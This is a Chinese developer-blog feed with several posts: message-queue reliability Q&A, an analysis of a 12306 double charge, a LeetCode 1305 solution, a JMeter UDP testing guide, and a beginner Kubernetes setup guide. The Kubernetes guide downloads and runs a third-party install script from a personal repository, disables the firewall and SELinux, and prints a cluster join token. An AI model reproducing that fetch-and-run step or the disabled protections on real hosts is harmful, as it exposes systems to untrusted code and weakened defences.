  5. 等快速消费完积压数据之后,得恢复原先部署的架构,重新用原先的 consumer 机器来消费消息。

生产者收到写入成功响应后消息一定不会丢失吗?(消息丢失)

一个消息从生产者产生,到被消费者消费,主要经过这 3 个过程:

屏幕截图 2025-01-24 101300.png

因此如何保证 MQ 不丢失消息,可以从这三个阶段阐述:

生产者保证不丢消息,存储端不丢消息,消费者不丢消息

生产者保证不丢消息

生产端如何保证不丢消息呢?确保生产的消息能到达存储端。

如果是 RocketMQ 消息中间件,生产者要想发消息时保证消息不丢失,可以:

采用同步方式发送,send 消息方法返回成功状态,就表示消息正常到达了存储端 Broker。
如果 send 消息异常或者返回非成功状态,可以重试。
可以使用事务消息,RocketMQ 的事务消息机制就是为了保证零丢失来设计的。

存储端不丢消息

如何保证存储端的消息不丢失呢? 确保消息持久化到磁盘。大家很容易想到就是刷盘机制。

刷盘机制分同步刷盘和异步刷盘

生产者消息发过来时,只有持久化到磁盘,RocketMQ 的存储端 Broker 才返回一个成功的 ACK 响应,这就是同步刷盘。它保证消息不丢失,但是影响了性能。
异步刷盘的话,只要消息写入 PageCache 缓存,就返回一个成功的 ACK 响应。这样提高了 MQ 的性能,但是如果这时候机器断电了,就会丢失消息。

消费者不丢消息

消费者执行完业务逻辑,再反馈会 Broker 说消费成功,这样才可以保证消费阶段不丢消息。

高并发场景下怎么保证消息不会重复消费?(重复消费)

首先,对于正常业务而言消息重复是不可避免的。

正常情况下,消费者在消费消息后,会给消息队列发送一个确认,消息队列接收后就知道消息已经被成功消费了,然后就从队列中删除该消息,也就不会将该消息再发送给其他消费者了。

不同消息队列发出的确认消息形式不同,RabbitMQ 是通过发送一个 ACK 确认消息。

但是因为网络故障,消费者发出的确认并没有传到消息队列,导致消息队列不知道该消息已经被消费,然后就再次消息发送给了其他消费者,从而造成重复消费的情况。

重复消费问题的解决思路是:保证消息的唯一性,即使多次传输,也不让消息的多次消费带来影响,也就是保证消息等幂性。

具体办法:

在消息生产时,MQ 内部针对每条生产者发送的消息生成一个唯一 id,作为去重和幂等的依据(消息投递失败并重传),避免重复的消息进入队列。

在消息消费时,要求消息体中也要有一全局唯一 id 作为去重和幂等的依据,避免同一条消息被重复消费

如何保证消息的可靠性?

关于消息丢失的情况也就是这三种情况,消息到 MQ 的过程中搞丢,MQ 自己搞丢,MQ 到消费过程中搞丢。针对不同的情况,用不同的解决方法,用自己的语言叙述即可。

生产者到 RabbitMQ:事务机制和 Confirm 机制,注意:事务机制和 Confirm 机制是互斥的,两者不能共存,会导致 RabbitMQ 报错。

RabbitMQ 自身:持久化、集群、普通模式、镜像模式。

RabbitMQ 到消费者:basicAck 机制、死信队列、消息补偿机制。

各大消息队列中间件对比

ActiveMQRabbitMQRocketMQKafkaZeroMQ
单机吞吐量比 RabbitMQ 低2.6w/s11.6w/s17.3w/s29w/s
开发语言JavaErlangJavaScala/JavaC
成熟度成熟成熟开源版本不够成熟比较成熟只有 C、PHP 版本成熟
订阅模式点对点(p2p)、广播(发布-订阅)direct、topic、Headers、fanout基于 topic/messageTag 以及按照消息类型,属性进行正则匹配的发布订阅模式基于 topic 以及按照 topic 进行正则匹配的发布订阅模式点对点(p2p)
持久化支持少量堆积支持少量堆积支持大量堆积支持大量堆积不支持
顺序消息不支持不支持支持支持不支持
性能稳定性一般较差很好
集群模式支持简单集群模式,比如‘主-备’,对高级集群模式支持不好支持简单集群,‘复制’模式,对高级集群模式支持不好常用多对‘Master-Slave’模式,开源版本需手动切换 Slave 变成 Master天然的‘Leader-Slave’无状态集群,每台服务器既是 Master 也是 Slave不支持
管理界面一般较好一般

各个消息中间件对比适用场景

ActiveMQ:

  • 特点:可靠性、持久化、多种消息模式(点对点、发布-订阅、请求-回复)。
  • 适用场景:适合任务队列、工作流、异步通信、RPC、事件驱动架构等场景。

RabbitMQ:

  • 特点:易用性、灵活性、可靠性、多种消息模式(点对点、发布-订阅、请求-回复)。
  • 适用场景:适合任务队列、工作流、异步通信、RPC、事件驱动架构等场景。

RocketMQ:

  • 特点:高吞吐量、分布式、强一致性、消息顺序保证、支持消息队列和广播消息、多种消息协议(例如:HTTP、MQTT)。
  • 适用场景:适合大规模分布式系统、金融行业消息中间件、实时流处理、消息通知、事件驱动架构等场景。

Apache Kafka:

  • 特点:高吞吐量、持久化、可伸缩性、分布式、多副本复制、消息顺序保证。
  • 适用场景:适合大规模数据流处理、实时流式处理、日志收集、事件驱动架构等场景。

ZeroMQ:

  • 特点:轻量级、低延迟、高性能、无服务器架构、支持多种消息传输协议(如:发布-订阅、请求-回复、推送-拉取)。
  • 适用场景:适合高频交易、低延迟通信、大规模分布式应用、实时数据传输、微服务通信等场景。

就业陪跑训练营学员投稿

欢迎关注 ❤

我们搞了一个免费的面试真题共享群,互通有无,一起刷题进步。

没准能让你能刷到自己意向公司的最新面试题呢。

感兴趣的朋友们可以加我微信:wangzhongyang1993,备注:面试群。

by 王中阳讲编程 at January 24, 2025 02:55 AM

对象抢到了回家的火车票但被12306扣了两次钱!!!

1.背景

春节回家过个团圆年是每一个背井离乡、在外打拼的人每年年底的心愿。这些年春运期间,高铁票“一票难求”一直都还是主旋律,笔者每年深有感受,这不今年还是没抢到,但是对象抢到了。。。对象来了一句:“还得是我,靠你是靠不住的......”,我只能默不作声了。这里先介绍下她抢票情况是这样的,她分别在官方12306和三方平台(携程、微信同程艺龙、飞猪)都预约了抢票,这里提一嘴,她在携程提交预约抢票时没注意开启了全能抢票(说是有极速抢票特权,一张票需要50块钱)。

等到早上10点30放票的时候,她去官方12306APP根据之前预填的购票信息刷票排队“抢票占座”出票,结果没一会儿就抢占成功出票跳转到支付页面了,想都没想就马上付款了,高兴的不行。但是没过多久也收到携程的购票成功消息,打开携程和12306对比了一下,发现是同一张票。由于在太多三方平台购票,并且都是提前付款的,所以下班回到家之后仔细核对了一下账单才发现:被12306扣了两次钱了!!!

12306的订单详情:

携程的订单信息如下:

大写的吃惊。。。作为程序员的我都懵逼了,来了句按道理不应该会出现这种情况啊,但事实就是事实。。。接下来我们就浅浅地分析下吧。

2.抢票占座分析

2.1 官方12306

12306抢票和电商秒杀场景都是差不多的,流量高并发大,电商难点是要扣减商品库存防止超卖,12306同样也要扣减车票数量,但是这比单一扣减商品数量复杂多了,因为一个车次会经过多个站点,比如说上海到成都的高铁途经主要站点 :上海→杭州→南昌→长沙→贵阳→成都。假如有一个人成功买到了:南昌→长沙,那么杭州→贵阳的票就会少一张。至于抢票占座成功出票下单,和电商购买商品是一样的,后台会根据个人信息、车次信息、始末站点信息、座位信息生成一条订单,用户在规定的时间内支付完成,就算是成功出票了。

2.2 三方平台

三方平台(携程、微信同程艺龙,飞猪等等)购买高铁票也是当下很多人选择的主流方式,我们来看看三方平台是怎么帮我们买到票的?

  • 首先12306官方说过,所有的火车票都是有12306官方平台出售的,不存在三方平台代售火车票,你想想要是可以代售,比如春运的某个车次的车票,分200张给携程卖,分100张飞猪卖,那么肯定各种加钱购票,且不是乱了套了,这肯定是不允许的

  • 三方平台根据你预先填写的购票信息调12306下单接口购票。这种想法很符合年轻程序员的思路,但是是不太可能的,12306不可能开放下单接口供三方调用的,暴露接口是系统安全大忌,更何况是12306这种系统,再说了要是能调接口抢票,还有那些手动去app页面点下单的什么事哦?去手动点操作能快的过代码???

  • 既然上面两种方式都不是,那三方平台到底是怎么购票的呢?普遍有一种说法,三方平台是根据我们提交的信息,模拟用户在浏览器网页进行购票。思路介绍:人工抢票的速度相对较慢,然而电脑的反应速度却极为迅捷。基于这一特点,主要采用的技术思路是利用Selenium框架来模拟人工操作。通过这一框架,我们能够精确地模拟用户的点击、输入等行为,从而在抢票过程中实现高效、精准的操作,极大地提升抢票的成功率和速度。Selenium框架作为一种强大的自动化测试工具,不仅能够模拟各种复杂的用户交互,还能在浏览器中实现自动化操作。在抢票场景中,我们可以通过编写脚本,让Selenium自动打开购票网站,填写购票信息,并快速提交订单。这种模拟人工操作的方式,不仅避免了人工操作的繁琐和低效,还能在关键时刻迅速响应,确保抢票的成功。

    此外,Selenium框架还支持多种浏览器和操作系统的兼容性,使得我们的抢票工具能够在不同的环境下稳定运行。通过不断的优化和调试,我们可以进一步提升抢票工具的性能和稳定性,为用户提供更加可靠的抢票服务。

3.三方平台花钱加速抢票真的有用吗

有人说在三方平台抢票成功率会高点,个人觉得这纯属无稽之谈,在12306平台没有出候补功能之前,我觉得三方平台抢票还是有点用的,它像一个人帮你刷着后台的车次余票,一旦有票之后帮你买,但是12306平台有了候补功能之后,就没他什么事了。。。当然遇到12306部分显示车次列车运行图调整待售, 不能候补,而且往往不知道它什么时候放票,这个时候还是可以通过三方平台购票软件选择车次抢票,毕竟三方平台可以及早知道火车恢复运营的情况。

那花钱买加速包抢票到底有没有有用呢?

这个我觉得要分两种情况分析下:

  • 放票时抢票 :我们都知道12306现在是最多买15天后的票,每天早上10点30准时放票供大家抢购,这种情况下我个人觉得三方平台的加速抢票估计还是有点用的,按照上面我们的分析,三方平台是模拟浏览器网页自动化购票的,有一个开源免费抢票软件:bypass,官网地址:www.bypass.cn/

它实际上就是模拟用户的浏览器操作,只不过全都由程序代劳了,这个速度肯定比手工操作要快,所以抢到票的几率也比较高。

你花了钱买加速包,三方平台可能在给你买票时,给你分配更多的资源配置:比如独享一个ip,更高的cpu,更高带宽网络来保证你的购票信息更快地提交到到12306。按照这种说法,你完全可以在家里的电脑上安装一个bypass免费操作,假如你家的宽带是千兆的,网络也

很快,说不一定比你花钱买加速包效果更好。当然本人没试过,这是只是分析哈~~~

  • 候补抢票候补抢票可以说花钱买加速是一点用都没有,花钱的都是傻子、冤大头

什么朋友助力加速、VIP加速包、优先出票都是杀猪盘,12306候补完全可以替代这些花里胡哨的

第三方软件加速包,不过是挂一台服务器一直帮你点购票界面罢了,这个方法以前管用,但现在有候补功能了,并且12306官方说过,这种操作方式非但不管用了,甚至大部分情况还会触发12306的风控(12306的风控是很严的),最终被拉入黑名单或者放到低优先级队列,就算有票放出,你也买不到!!!

12306官方早已明确表示,所有票源均在官方系统中,抢票软件并无任何特殊渠道。所谓的“加速包”不过是商家为了割消费者“韭菜”而编造的谎言。它们利用消费者的焦虑和无奈,诱导人们付费,却从未真正兑现过承诺。

三方平台候补抢票真的没啥屁用,什么朋友助力加速提交大量的个人信息被三方平台采集,可能会造成个人隐私泄露,当然这里弱弱说一句让朋友助力还是有一丢丢好处:间接告诉亲朋好友春节会回去,可约,哈哈~~~

从技术角度来看,抢票软件的存在本身就是一种对购票公平的破坏。这些软件通过高频查询和大量请求,试图在12306系统中抢占票源。然而,这种行为不仅无法真正提高购票成功率,反而会对12306服务器造成巨大负担,甚至可能导致系统崩溃。

为了应对这种异常请求,12306不得不采取风控措施,将抢票软件的请求放入慢速队列或延迟处理。这意味着,使用抢票软件的用户不仅无法获得优先购票权,反而可能因为触发风控而购票速度更慢。

既然从技术的角度分析三方平台会无缘无故给12306系统带来了更多的压力,为什么国家不禁止三方平台这个购票入口的?大概是放票时抢票还是有点用的,再或者技术是无罪的,要包容,哈哈,我随便猜的。

其实三方平台卖火车票是不赚钱的,他根本不可能中间商赚差价啥的,国家不允许的,再加上也很少有冤大头花钱抢票,那他为啥还要花费大力气出这个功能呢?其实各大平台做火车票目的都一样,就是黏住用户,当你习惯在某平台买火车票了,你就会自然而然在这个平台买飞机票,看住宿酒店什么的,这种套路心理早就是大家心知肚明的了

你看看他这个取消抢票订单的按钮每次都要找半天,甚至还要百度查一波怎么取消才知道,就怕你看见,怕你取消,非常隐蔽,满满的都是套路

铁路放票规则

优先发售全程车票,及大站车票,区间票大部分只在开车前几天,有空余的情况下放出,网络、车站、电话订票是统一票仓,放票非一次性放出,而是针对区间分批放票,优先放全程及远途、大站车票。这个很好理解:就是追求资源利用最大化,利益最大化。你总不能让【杭州→贵阳】的人抢不到票,【杭州→千岛湖】的人却抢到了票,【杭州→千岛湖】骑车都能到,要是这样的话票务系统肯定被喷死,而且也运营不下去啊,因为这样意味着【千岛湖→贵阳】座位都是空着的,这少赚了多少高铁费啊。这也是为什么那些三方平台候补帮你抢票的时候给你出的优化方案是多买几站,你以为他尽心费力干了啥,其实他啥都没干,他也干不了啥。

在上面我们说过三方平台花钱买加速包在放票时抢票可能会有点用,那也是基于相同区间购票的情况讨论的,当然12306的出票规则在相同区间下,不一定就是先到先得的,可能还会考虑各种因素,比如说优先学生,再比如说你老是退票,你的优先级就比较低了,当然这些都是猜测的,并无实际考证哈。但是可以这么说你花钱抢【杭州→千岛湖】的票,系统肯定不会一开始就放这种短途区间票的,等临近发车时候抢到了,不是平台帮你抢到的,是12306放票给你了,不要傻乎乎地被三方平台忽悠了,搞得功劳都是他的。

项目推荐:基于SpringBoot2.x、SpringCloud和SpringCloudAlibaba企业级系统架构底层框架封装,解决业务开发时常见的非功能性需求,防止重复造轮子,方便业务快速开发和企业技术栈框架统一管理。引入组件化的思想实现高内聚低耦合并且高度可配置化,做到可插拔。严格控制包依赖和统一版本管理,做到最少化依赖。注重代码规范和注释,非常适合个人学习和企业使用

Github地址github.com/plasticene/…

Gitee地址gitee.com/plasticene3…

微信公众号Shepherd进阶笔记

交流探讨qun:Shepherd_126

4.12306为什么会扣两次钱?

根据上面的介绍,我们这里就姑且认为在放票时,携程是模拟了浏览器网页自动化购票,与此同时我们自己手动在12306的app也抢票,这就意味着使用相同的用户信息和购票信息分别在网页和app上购票,这时候假如我这个人抢票占座成功,这时候app和网页是不是都会感知到跳转到支付页面,这样就会出现同一车票,分别支付了两次,12306是不是生成了两个订单???但从上面12306和携程的订单信息截图来看,是同一个订单号,说明只有一个订单,那就是一个订单支付了两次?12306对订单的支付没有做唯一校验,或者幂等性啥的???当然做这些检验是会影响到支付速度的,而且系统有严格的对账单,即时多扣了后面也会发现及时退回的,所以在支付层面就没有做检验了,毕竟出现这种情况并不是很多。。。

由此个人分析总结如下:在生成订单后,系统会锁定车票,等待用户支付,完成支付车票立即确认成功。这时候12306和携程都能感知到这个订单的生成并分别完成了付款,也就是说在抢票高峰期,两个平台可能分别完成支付,导致扣款两次。尽管最终生成的车票只有一张,但支付请求是独立处理的。

解决办法也简单,打电话给12306反映下就行了,涉及到钱的都有严格的对账单系统,可以快速查出多扣款了一次,会在7个工作日之内原路退回。

5.最后

在这漫长的春运旅途上,愿每一位漂泊的心都能如愿回家,不仅是通过一张火车票,更是通过心中的那份温暖与牵挂。科技的进步让我们更近,尽管旅途艰难,但团圆的愿望始终在前方闪亮。愿你一路顺风,平安归家,和亲人共度一个温馨、美满的春节。最后,希望以后国家春运运力越来越强大,技术越来越进步让我们每个人都能轻松买到回家的票。最后的最后,我在这里提前遥祝大家春节快乐,幸福安康。当然如果你觉得分析的还可以的话,麻烦给个一键三连(点赞、在看、转发分享)支持一下,感谢Thanks♪(・ω・)ノ

by Shepherd at January 24, 2025 02:52 AM

借年终奖梳理公司历年来"神操作",网友笑了。。

S*皮

最近,一篇源自「大厂同事圈」的爆料火了,帖子里仔细梳理了这家大厂历年来的"神操作"。

21 年,以 15 薪 + WLB 为噱头进行大肆招聘,当时高管扬言,未来深圳总部的人员要扩编一倍。

22 年,公司流动性吃紧,开始进行"降本增效",零食饮料水果等福利开始取消。九月份开启首次大裁员。到了年底,无普调,正常绩效(B)年终只有 0.5 个月。

23 年,年初时,关于 22 年只有 0.5 个月年终的骂声仍未消停,某高层直接开启 3 月份的自提礼包(可报名离职,拿赔偿走人)活动,扬言要让离开的人后悔。放话后续阳光普调 5%,年终 back two normal。又到年底,正常绩效(B)2 个月,卡晋升。

24 年,开启考勤管理,严格执行工作日需在岗满 9.5 小时,下半年公司股价重回 100+,领导继续放话年终 diff last year。年底,以股票涨了为理由不给普调,正常绩效(B)还是 2 个月,还是卡晋升。

总的下来,当时 21 年冲着「15 薪 + WLB」入职的小伙伴,最终三年(正常绩效)下来,只收获到了 4.5 个月年终奖,以及逐渐收紧的福利,逐步加强的管理 🤣🤣🤣

这大饼看得我是一愣一愣的,成功消除了我昨天因为 华为人均年终 产生的不适感。

对此,你怎么看?过去几年的年终奖,是否有跑赢该大厂?欢迎评论区交流。

...

回归主题。

来一道和 HOT 100 级别的经典题。

题目描述

平台:LeetCode

题号:1305

给你 root1 root2 这两棵二叉搜索树。

请你返回一个列表,其中包含两棵树中的所有整数并按升序排序。

示例 1:

输入:root1 = [2,1,4], root2 = [1,0,3]

输出:[0,1,1,2,3,4]

示例 2:

输入:root1 = [1,null,8], root2 = [8,1]

输出:[1,1,8,8]

提示:

  • 每棵树的节点数在 <semantics>[0,5000]<annotation encoding="application/x-tex">[0, 5000]</annotation></semantics>[0,5000] 范围内
  • <semantics>105 <=Node.val<=105<annotation encoding="application/x-tex">-10^5 <= Node.val <= 10^5</annotation></semantics>105 <=Node.val<=105

中序遍历 + 归并排序

利用 BST 中序遍历的有序性质,我们可以先对两棵树进行中序遍历,从而将树的结构转换为线性结构。

将两个有序序列合并成一个有序序列则是利用了经典的「归并排序」。

Java 代码:

class Solution {
    int INF = 0x3f3f3f3f;
    public List<Integer> getAllElements(TreeNode root1, TreeNode root2) {
        List<Integer> ans = new ArrayList<>();
        List<Integer> l1 = new ArrayList<>(), l2 = new ArrayList<>();
        dfs(root1, l1); dfs(root2, l2);
        int n = l1.size(), m = l2.size(), i = 0, j = 0;
        while (i < n || j < m) {
            int a = i < n ? l1.get(i) : INF, b = j < m ? l2.get(j) : INF;
            if (a <= b) {
                ans.add(a); i++;
            } else {
                ans.add(b); j++;
            }
        }
        return ans;
    }
    void dfs(TreeNode root, List<Integer> list) {
        if (root == null) return ;
        dfs(root.left, list);
        list.add(root.val);
        dfs(root.right, list);
    }
}

C++ 代码:

class Solution {
public:
    vector<int> getAllElements(TreeNode* root1, TreeNode* root2) {
        int INF = 0x3f3f3f3f;
        vector<int> ans;
        vector<int> l1, l2;
        dfs(root1, l1); dfs(root2, l2);
        int n = l1.size(), m = l2.size(), i = 0, j = 0;
        while (i < n || j < m) {
            int a = (i < n) ? l1[i] : INF, b = (j < m) ? l2[j] : INF;
            if (a <= b) {
                ans.push_back(a); i++;
            } else {
                ans.push_back(b); j++;
            }
        }
        return ans;
    }
    void dfs(TreeNode* root, vector<int>& list) {
        if (!root) return;
        dfs(root->left, list);
        list.push_back(root->val);
        dfs(root->right, list);
    }
};

Python 代码:

class Solution:
    def getAllElements(self, root1: Optional[TreeNode], root2: Optional[TreeNode]) -> List[int]:
        INF = 0x3f3f3f3f
        ans = []
        l1, l2 = [], []
        self.dfs(root1, l1)
        self.dfs(root2, l2)
        n, m, i, j = len(l1), len(l2), 0, 0
        while i < n or j < m:
            a, b = l1[i] if i < n else INF, l2[j] if j < m else INF
            if a <= b:
                ans.append(a)
                i += 1
            else:
                ans.append(b)
                j += 1
        return ans
        
    def dfs(self, root: TreeNode, arr: list[int]) -> None:
        if not root:
            return
        self.dfs(root.left, arr)
        arr.append(root.val)
        self.dfs(root.right, arr)

TypeScript 代码:

function dfs(root: TreeNode | null, list: number[]): void {
    if (root === null) return;
    dfs(root.left, list);
    list.push(root.val);
    dfs(root.right, list);
}
function getAllElements(root1: TreeNode | null, root2: TreeNode | null): number[] {
    const INF = 0x3f3f3f3f;
    let ans = [];
    let l1 = [], l2 = [];
    dfs(root1, l1);
    dfs(root2, l2);
    let n = l1.length, m = l2.length, i = 0, j = 0;
    while (i < n || j < m) {
        let a = i < n ? l1[i] : INF;
        let b = j < m ? l2[j] : INF;
        if (a <= b) {
            ans.push(a); i++;
        } else {
            ans.push(b); j++;
        }
    }
    return ans;
};
  • 时间复杂度:令 <semantics>n<annotation encoding="application/x-tex">n</annotation></semantics>n<semantics>m<annotation encoding="application/x-tex">m</annotation></semantics>m 分别为两棵树的节点数量,跑中序遍历的复杂度为 <semantics>O(n+m)<annotation encoding="application/x-tex">O(n + m)</annotation></semantics>O(n+m),构建答案复杂度为 <semantics>O(max(m,n))<annotation encoding="application/x-tex">O(\max(m, n))</annotation></semantics>O(max(m,n))。整体复杂度为 <semantics>O(n+m)<annotation encoding="application/x-tex">O(n + m)</annotation></semantics>O(n+m)
  • 空间复杂度:<semantics>O(n+m)<annotation encoding="application/x-tex">O(n + m)</annotation></semantics>O(n+m)

by 宫水三叶的刷题日记 at January 24, 2025 02:51 AM

juejin freebie

Jmeter如何对UDP协议进行测试?

1 jmeter-plugins安装

  • jmeter-plugins是Jmeter的插件管理器;
  • 可以组织和管理Jmeter的所有插件;
  • 直接进入到如下页面,选择如图的选项进行下载即可:
  • 地址:https://jmeter-plugins.org/install/Install/ 在这里插入图片描述
  • 将下载的插件放在jmeter的lib/ext目录下,比如:
D:\apache-jmeter-5.6.3\lib\ext

在这里插入图片描述

  • 重启Jmeter后,在“选项”下可以看到插件管理器: 在这里插入图片描述

2 UDP-Protocol Support安装

  • UDP-Protocol Support是进行UDP协议测试的插件;
  • 直接打开插件管理器,选择【Available Plugins】: 在这里插入图片描述
  • 搜索UDP-Protocol Support在这里插入图片描述
  • 勾选后,并选择下载就行: 在这里插入图片描述
  • 安装完后,在测试计划-线程组-右键添加-取样器中可以看到下载的插件: 在这里插入图片描述

3 UDP协议测试

  • 添加jp@gc - UDP Request取样器后,界面如下: 在这里插入图片描述
  • 界面介绍:
字段说明
Hostname/IP被测试对象的主机地址
UDP Port被测试对象的主机端口号
Wait for Response是否等待响应(默认即可)
Close UDP Socket关闭UDP Socket
Response Timeout响应超时
Data Encode/Decode Class详见后续表格
Request Data请求数据
Bind Local Address绑定本地地址
Bind Local Port绑定本地端口
  • 关于Data Encode/Decode Class字段说明
字段说明
kg.apc.jmeter.samplers.HexStringUDPDecoder直接发送16进制数据,HEX-encoded
kg.apc.jmeter.samplers.UDPSampler填写字符串
kg.apc.jmeter.samplers.DNSJavaDecoderdns解析填写
kg.apc.jmeter.samplers.UDPTrafficDecoder接口可以自定义编码/解码
  • 一般而言,直接发送16进制数据数据即可;
  • 另外需要注意UDP请求读取响应缓存长度默认4K,可以在JMeter property中修改 kg.apc.jmeter.samplers.ReceiveBufferSize单位字节。
  • 具体的测试数据根据实际情况来定,比如如下: 在这里插入图片描述

by 虫无涯 at January 24, 2025 02:48 AM

juejin backend

Kubernetes (K8s) 集群部署指南:从环境准备到应用部署(初级)

一、环境准备

服务器规划:

主机名IP地址
master01192.168.55.160
node01192.168.55.161
node02192.168.55.162

服务器要求:

  • 建议最小硬件配置: 2核CPU、2G内存、20G硬盘。
  • 服务器可以访问互联网, 能够联网下载镜像。

软件环境:

软件版本
操作系统CentOS 7.9_x64
Docker26.1.4
Kubernetes1.28

二、初始化配置

1. 设置主机名(分别设置)

  • 将三台主机名分别设置为 master01node01node02
hostnamectl set-hostname master01
hostnamectl set-hostname node01
hostnamectl set-hostname node02

2. 配置 /etc/hosts 文件

  • 编辑 /etc/hosts 文件,添加集群节点的 IP 和主机名映射:
echo "192.168.55.160 master01" >> /etc/hosts
echo "192.168.55.161 node01" >> /etc/hosts
echo "192.168.55.162 node02" >> /etc/hosts

3. 关闭防火墙并禁用 SELinux

systemctl stop firewalld
systemctl disable firewalld
sed -i '/^SELINUX/s/enforcing/disabled/' /etc/selinux/config
setenforce 0

4. 禁用 Swap

# 临时关闭 Swap
swapoff -a

# 永久关闭 Swap
sed -ri 's/.*swap.*/#&/' /etc/fstab

# 验证 Swap 是否已关闭
free -h

5. 相关网络内核参数配置

cat > /etc/sysctl.d/k8s.conf <<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF
sysctl --system  # 使其生效

6. 安装 Docker

# 使用 gitee 下载自动安装脚本
wget https://gitee.com/xy12306/Docker/releases/download/v1.6/install_docker.sh

# 赋予脚本执行权限
chmod +x install_docker.sh

# 执行脚本
./install_docker.sh
  • 修改配置文件(在结尾处添加,如下图)

   vim /etc/docker/daemon.json

"exec-opts": ["native.cgroupdriver=systemd"]

图片.png

  • 使配置生效
sudo systemctl daemon-reload
sudo systemctl restart docker

7. 下载安装 cri-dockerd

# 下载 cri-dockerd
wget https://github.com/Mirantis/cri-dockerd/releases/download/v0.3.2/cri-dockerd-0.3.2-3.el7.x86_64.rpm

# 安装 cri-dockerd
rpm -ivh cri-dockerd-0.3.2-3.el7.x86_64.rpm
  • 使配置生效
systemctl daemon-reload
systemctl enable cri-docker
systemctl start cri-docker
  • 指定依赖镜像地址为国内镜像地址(在第 10 行结尾补充添加)

   vim /usr/lib/systemd/system/cri-docker.service

ExecStart=/usr/bin/cri-dockerd --container-runtime-endpoint fd:// --pod-infra-container-image=registry.aliyuncs.com/google_containers/pause:3.9

8. 添加 Kubernetes 的阿里云镜像源

cat > /etc/yum.repos.d/kubernetes.repo <<EOF
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF

9. 安装 kubelet、kubeadm、kubectl

yum install -y kubelet-1.28.0 kubeadm-1.28.0 kubectl-1.28.0
systemctl enable kubelet

10. 初始化 Master01 节点

sudo kubeadm init \
  --apiserver-advertise-address=192.168.55.160 \
  --image-repository registry.aliyuncs.com/google_containers \
  --kubernetes-version v1.28.0 \
  --service-cidr=10.96.0.0/12 \
  --pod-network-cidr=10.244.0.0/16 \
  --cri-socket=unix:///var/run/cri-dockerd.sock
  • 初始化完成后, 根据提示信息, 复制以下内容到其他节点
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
  • 使用 kubectl 工具查看节点状态
kubectl get node

11. 将 Node 节点加入集群

执行下面输出的 kubeadm join 命令, 将本节点加入到 Kubernetes 集群中:

图片.png

  • sha256后面参数每次生成是不一样的。
  • 需要在结尾处添加 --cri-socket=unix:///var/run/cri-dockerd.sock 以后,并复制到其他几个节点输入。示例如下:
kubeadm join 192.168.55.160:6443 --token j7w0q2.5k7iu8duc3hp9hfz \
--discovery-token-ca-cert-hash sha256:e4677ff498e83195f129c13f0161206c3f6d8cdc77db158389bd4f46e93013b0 \
--cri-socket=unix:///var/run/cri-dockerd.sock

12. 安装网络组件

   这里使用 Calico 作为 Kubernetes 的网络插件, 负责集群中网络通信。

# 下载 Calico 配置文件
wget https://raw.githubusercontent.com/projectcalico/calico/v3.26.1/manifests/calico.yaml

# 创建 Calico 网络组件的资源
kubectl apply -f calico.yaml
  • 查看安装状态
kubectl get nodes
kubectl get nodes -n calico-system

# 查看Calico Pod状态是否为Running
kubectl get pods -n kube-system

13. 部署测试应用

  • 部署一个简单的 Nginx 应用

kubectl create deployment nginx --image=nginx
kubectl expose deployment nginx --port=80 --type=NodePort
  • 查看服务状态

[root@master ~]  kubectl get svc nginx 
NAME    TYPE       CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
nginx   NodePort   10.111.140.102   <none>        80:30433/TCP   5
  • 您已经成功创建了一个 Nginx 的 Deployment 并将其暴露为 NodePort 类型的 Service。根据您的输出,Nginx 服务的 NodePort 是 30433,这意味着您可以通过集群中任何节点的 IP 地址和端口 30433 访问 Nginx。

14. 访问 Nginx 服务的步骤

1. 获取节点的 IP 地址

运行以下命令,查看集群中节点的 IP 地址。

[root@master ~] kubectl get nodes -o wide
NAME     STATUS   ROLES           AGE   VERSION   INTERNAL-IP      EXTERNAL-IP   OS-IMAGE                KERNEL-VERSION                CONTAINER-RUNTIME
master   Ready    control-plane   58m   v1.28.0   192.168.55.160   <none>        CentOS Linux 7 (Core)   3.10.0-1160.71.1.el7.x86_64   docker://26.1.4
node01   Ready    <none>          42m   v1.28.0   192.168.55.161   <none>        CentOS Linux 7 (Core)   3.10.0-1160.71.1.el7.x86_64   docker://26.1.4
node02   Ready    <none>          42m   v1.28.0   192.168.55.162   <none>        CentOS Linux 7 (Core)   3.10.0-1160.71.1.el7.x86_64   docker://26.1.4

记录下任意一个节点的 INTERNAL-IP(例如 192.168.55.161)。

2. 访问 Nginx

使用查看节点的 IP 地址和 NodePort 端口(30433)访问 Nginx。您可以通过以下方式访问:

  1. 通过浏览器访问:
    • 在浏览器地址栏中输入 http://<节点IP>:30433
    • 例如:http://192.168.55.161:30433

图片.png

  1. 通过 curl 命令在虚拟机中访问: curl http://192.168.55.161:30433

需要用到的文件

无法访问GitHub时,可下载下面文件传入到虚拟机使用


相关文章

  • 此教程适用于初学者,如有问题,还请在评论区留言或私信。

by xy12306 at January 24, 2025 02:48 AM

TKE & Ingress-Nginx Controller 之客户端 IP

项目中使用腾讯云的 TKE 部署 Spring Boot 应用,但是应用中获取到的客户端 IP 是 TKE 节点的云服务器的内网 IP(有时候是一个不知道哪来的内网 IP,怀疑是 CLB 的内网 IP),而不是客户端的真实 IP。

---
title: 项目架构
---
flowchart LR
    Client --HTTPS--> CLB
    CLB --TCP监听器--> TKE

    subgraph TKE
        INC[Ingress-Nginx Controller] --HTTP--> Service
        Service --HTTP--> Pod
    end

    classDef green fill:#9f6,stroke:#333,stroke-width:2px;
    classDef orange fill:#f96,stroke:#333,stroke-width:2px;
    class CLB green
    class INC orange

为了查明是哪一个环节的问题,需要查看对应的日志。

CLB 貌似是仅支持对七层的监听器记录访问日志。Ingress-Nginx Controller 使用的是 L4 转发,启用了日志服务后也确实没有看到日志。

TKE 的 Ingress-Nginx Controller 默认的日志格式保存在对应的 ConfigMap 的 log-format-upstream 中,其内容如下:

